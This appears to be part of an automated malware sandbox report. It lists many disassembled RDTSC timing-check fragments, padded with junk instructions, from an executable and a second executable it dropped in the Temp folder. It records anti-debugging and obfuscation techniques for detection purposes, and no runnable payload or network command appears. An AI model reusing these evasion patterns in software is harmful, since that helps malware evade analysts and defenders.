Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70235 second address: 4F702B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 0225h 0x00000007 push esi 0x00000008 pop edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F28E4D0ABC7h 0x00000012 xchg eax, ebp 0x00000013 jmp 00007F28E4D0ABC6h 0x00000018 mov ebp, esp 0x0000001a jmp 00007F28E4D0ABC0h 0x0000001f sub esp, 2Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jmp 00007F28E4D0ABBDh 0x0000002a pushfd 0x0000002b jmp 00007F28E4D0ABC0h 0x00000030 xor ecx, 65324F28h 0x00000036 jmp 00007F28E4D0ABBBh 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F702B9 second address: 4F7034B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 1DCAh 0x00000007 call 00007F28E4BE583Bh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebp 0x00000011 jmp 00007F28E4BE5844h 0x00000016 mov dword ptr [esp], ebx 0x00000019 jmp 00007F28E4BE5840h 0x0000001e xchg eax, edi 0x0000001f pushad 0x00000020 call 00007F28E4BE583Eh 0x00000025 mov ah, D5h 0x00000027 pop edi 0x00000028 pushad 0x00000029 mov ah, C1h 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F28E4BE5847h 0x00000039 and al, FFFFFF8Eh 0x0000003c jmp 00007F28E4BE5849h 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F7034B second address: 4F70362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4D0ABC3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F703C5 second address: 4F703CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F703CB second address: 4F703CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70451 second address: 4F70455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70455 second address: 4F7045B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F7045B second address: 4F70487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE583Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F28E4BE5847h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70487 second address: 4F704DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, EAB9h 0x00000011 pushfd 0x00000012 jmp 00007F28E4D0ABC6h 0x00000017 jmp 00007F28E4D0ABC5h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70567 second address: 4F705BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F28E4BE5846h 0x0000000c jmp 00007F28E4BE5845h 0x00000011 popfd 0x00000012 popad 0x00000013 js 00007F28E4BE58CDh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F28E4BE5848h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F705BD second address: 4F705C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F705C1 second address: 4F705C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F705C7 second address: 4F705CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F705CD second address: 4F705D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F705D1 second address: 4F70621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e jmp 00007F28E4D0ABC0h 0x00000013 jne 00007F29557F8A4Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F28E4D0ABC7h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70621 second address: 4F70627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70627 second address: 4F70675 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+08h] 0x0000000e jmp 00007F28E4D0ABC6h 0x00000013 lea eax, dword ptr [ebp-2Ch] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushfd 0x0000001a jmp 00007F28E4D0ABBCh 0x0000001f sub ax, 95B8h 0x00000024 jmp 00007F28E4D0ABBBh 0x00000029 popfd 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70675 second address: 4F706E5 instructions: 0x00000000 rdtsc 0x00000002 call 00007F28E4BE5848h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dx, 6056h 0x0000000e popad 0x0000000f push ebp 0x00000010 jmp 00007F28E4BE583Ah 0x00000015 mov dword ptr [esp], esi 0x00000018 pushad 0x00000019 mov di, si 0x0000001c mov ebx, ecx 0x0000001e popad 0x0000001f nop 0x00000020 jmp 00007F28E4BE5844h 0x00000025 push eax 0x00000026 jmp 00007F28E4BE583Bh 0x0000002b nop 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F28E4BE5845h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F706E5 second address: 4F7070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F28E4D0ABBDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F7070A second address: 4F70726 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70726 second address: 4F7072C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F7072C second address: 4F70732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70086 second address: 4F7008C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F7008C second address: 4F70090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70090 second address: 4F70094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70094 second address: 4F700CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F28E4BE583Ch 0x00000010 xor eax, 50567118h 0x00000016 jmp 00007F28E4BE583Bh 0x0000001b popfd 0x0000001c pushad 0x0000001d mov bl, ch 0x0000001f mov al, dl 0x00000021 popad 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 mov ch, 4Bh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F700CC second address: 4F700D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F700D0 second address: 4F7012D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 jmp 00007F28E4BE583Dh 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F28E4BE5843h 0x00000018 add ah, FFFFFFEEh 0x0000001b jmp 00007F28E4BE5849h 0x00000020 popfd 0x00000021 call 00007F28E4BE5840h 0x00000026 pop eax 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F7012D second address: 4F70153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F28E4D0ABBDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70153 second address: 4F70159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70159 second address: 4F7015F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F7015F second address: 4F70163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70163 second address: 4F70167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70167 second address: 4F701A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F28E4BE5840h 0x00000010 adc ah, 00000028h 0x00000013 jmp 00007F28E4BE583Bh 0x00000018 popfd 0x00000019 mov si, 1D1Fh 0x0000001d popad 0x0000001e mov dword ptr [ebp-04h], 55534552h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 movsx edx, si 0x0000002b mov si, 8C0Fh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F701A8 second address: 4F701AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F701AE second address: 4F701B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70BAF second address: 4F70BCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70BCA second address: 4F70BEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F28E4BE5843h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70BEA second address: 4F70C14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AB459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70C14 second address: 4F70C18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70C18 second address: 4F70C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70C1E second address: 4F70C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70C24 second address: 4F70C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70C28 second address: 4F70C2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70C2C second address: 4F70C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F29557E8981h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F28E4D0ABBFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70C4B second address: 4F70C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4BE5844h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70D41 second address: 4F70DB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F28E4D0ABBEh 0x00000010 je 00007F29557DE7D5h 0x00000016 pushad 0x00000017 mov edi, eax 0x00000019 mov bh, ch 0x0000001b popad 0x0000001c cmp dword ptr [ebp+08h], 00002000h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007F28E4D0ABBEh 0x0000002b pushfd 0x0000002c jmp 00007F28E4D0ABC2h 0x00000031 and eax, 5D116C88h 0x00000037 jmp 00007F28E4D0ABBBh 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70DB0 second address: 4F70DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4BE5844h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F70DC8 second address: 4F70DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80AC7 second address: 4F80ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80ADC second address: 4F80AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80AE2 second address: 4F80B57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5843h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F28E4BE5846h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F28E4BE5848h 0x0000001b xor cl, FFFFFFD8h 0x0000001e jmp 00007F28E4BE583Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov bx, cx 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F28E4BE5841h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80B57 second address: 4F80BD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F28E4D0ABC7h 0x00000011 and eax, 0D9CFEAEh 0x00000017 jmp 00007F28E4D0ABC9h 0x0000001c popfd 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F28E4D0ABBEh 0x00000024 or al, 00000028h 0x00000027 jmp 00007F28E4D0ABBBh 0x0000002c popfd 0x0000002d mov ch, 49h 0x0000002f popad 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 movzx ecx, di 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80BD3 second address: 4F80C07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5844h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F28E4BE5847h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80C07 second address: 4F80C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F28E4D0ABBDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80C35 second address: 4F80C6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F29556B2FA3h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F28E4BE5843h 0x00000017 mov bx, si 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80C6A second address: 4F80C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80C70 second address: 4F80C9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5847h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75AB459Ch], 05h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ebx, 5FAB3726h 0x0000001a push edx 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80C9F second address: 4F80CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4D0ABBFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80CB2 second address: 4F80CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80CB6 second address: 4F80CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F29557F038Fh 0x0000000e pushad 0x0000000f call 00007F28E4D0ABBBh 0x00000014 movzx eax, bx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80CD8 second address: 4F80CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80CDC second address: 4F80CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: 4F80DB7 second address: 4F80DBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CC56F second address: 1CC573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CC9EA second address: 1CCA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE5846h 0x00000009 jno 00007F28E4BE5836h 0x0000000f popad 0x00000010 pop ebx 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F28E4BE5836h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CCA17 second address: 1CCA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CCA1B second address: 1CCA2F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F28E4BE5836h 0x0000000e jnc 00007F28E4BE5836h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CCB50 second address: 1CCB5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F28E4D0ABB6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CCB5C second address: 1CCB6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F28E4BE5836h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CCD3F second address: 1CCD53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CE6D1 second address: 1CE6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CE6D7 second address: 1CE77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jnp 00007F28E4D0ABC0h 0x0000000d jmp 00007F28E4D0ABBAh 0x00000012 nop 0x00000013 jmp 00007F28E4D0ABBFh 0x00000018 push 00000000h 0x0000001a jns 00007F28E4D0ABB6h 0x00000020 push 93459DD6h 0x00000025 jmp 00007F28E4D0ABC8h 0x0000002a add dword ptr [esp], 6CBA62AAh 0x00000031 or dh, FFFFFFD9h 0x00000034 push 00000003h 0x00000036 jmp 00007F28E4D0ABC5h 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007F28E4D0ABB8h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 00000018h 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 mov ecx, dword ptr [ebp+122D2B62h] 0x0000005d push 00000003h 0x0000005f mov dword ptr [ebp+122D1C17h], ebx 0x00000065 push B9D39AB2h 0x0000006a push esi 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CE77E second address: 1CE782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
